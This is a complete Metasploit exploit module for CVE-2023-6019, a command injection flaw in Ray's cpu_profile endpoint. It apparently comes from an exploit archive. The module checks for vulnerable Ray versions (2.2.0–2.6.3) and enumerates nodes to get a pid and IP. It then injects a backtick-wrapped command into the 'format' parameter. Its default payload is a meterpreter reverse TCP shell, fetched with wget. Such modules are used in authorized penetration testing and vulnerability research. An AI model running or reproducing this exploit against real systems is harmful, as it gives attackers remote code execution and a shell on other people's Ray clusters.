Headline
Ray cpu_profile Command Injection
This Metasploit module demonstrates a command injection vulnerability in Ray via cpu_profile.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Ray cpu_profile command injection', 'Description' => %q{ Ray RCE via cpu_profile command injection vulnerability. }, 'Author' => [ 'sierrabearchell', # Vulnerability discovery 'byt3bl33d3r <[email protected]>', # Python Metasploit module 'Takahiro Yokoyama' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2023-6019'], ['URL', 'https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe/'], ], 'CmdStagerFlavor' => %i[wget], 'Payload' => { 'DisableNops' => true }, 'Platform' => %w[linux], 'Targets' => [ [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ], [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', 'FETCH_COMMAND' => 'WGET' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-11-15', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ Opt::RPORT(8265), ] ) end def get_nodes res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'nodes?view=summary') }) return unless res && res.code == 200 JSON.parse(res.body) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/version') }) return Exploit::CheckCode::Unknown unless res && res.code == 200 ray_version = res.get_json_document['ray_version'] return Exploit::CheckCode::Unknown unless ray_version ray_version = Rex::Version.new(ray_version) return Exploit::CheckCode::Safe unless Rex::Version.new('2.2.0') <= ray_version && ray_version <= Rex::Version.new('2.6.3') @nodes = get_nodes return Exploit::CheckCode::Vulnerable unless @nodes.nil? Exploit::CheckCode::Appears end def exploit # We need to pass valid node info to /worker/cpu_profile for the server to process the request # First we list all nodes and grab the pid and ip of the first one (could be any) @nodes ||= get_nodes fail_with(Failure::Unknown, 'Failed to get nodes') unless @nodes first_node = @nodes['data']['summary'].first fail_with(Failure::Unknown, 'Failed to get pid') unless first_node.key?('agent') && first_node['agent'].key?('pid') pid = first_node['agent']['pid'] fail_with(Failure::Unknown, 'Failed to get ip') unless first_node.key?('ip') ip = first_node['ip'] print_good("Grabbed node info, pid: #{pid}, ip: #{ip}") case target['Type'] when :nix_cmd execute_command(payload.encoded, { pid: pid, ip: ip }) else execute_cmdstager({ flavor: :wget, pid: pid, ip: ip }) end end def execute_command(cmd, opts = {}) send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'worker/cpu_profile'), 'vars_get' => { 'pid' => opts[:pid], 'ip' => opts[:ip], 'duration' => 5, 'native' => 0, 'format' => "`#{cmd}`" } }) endend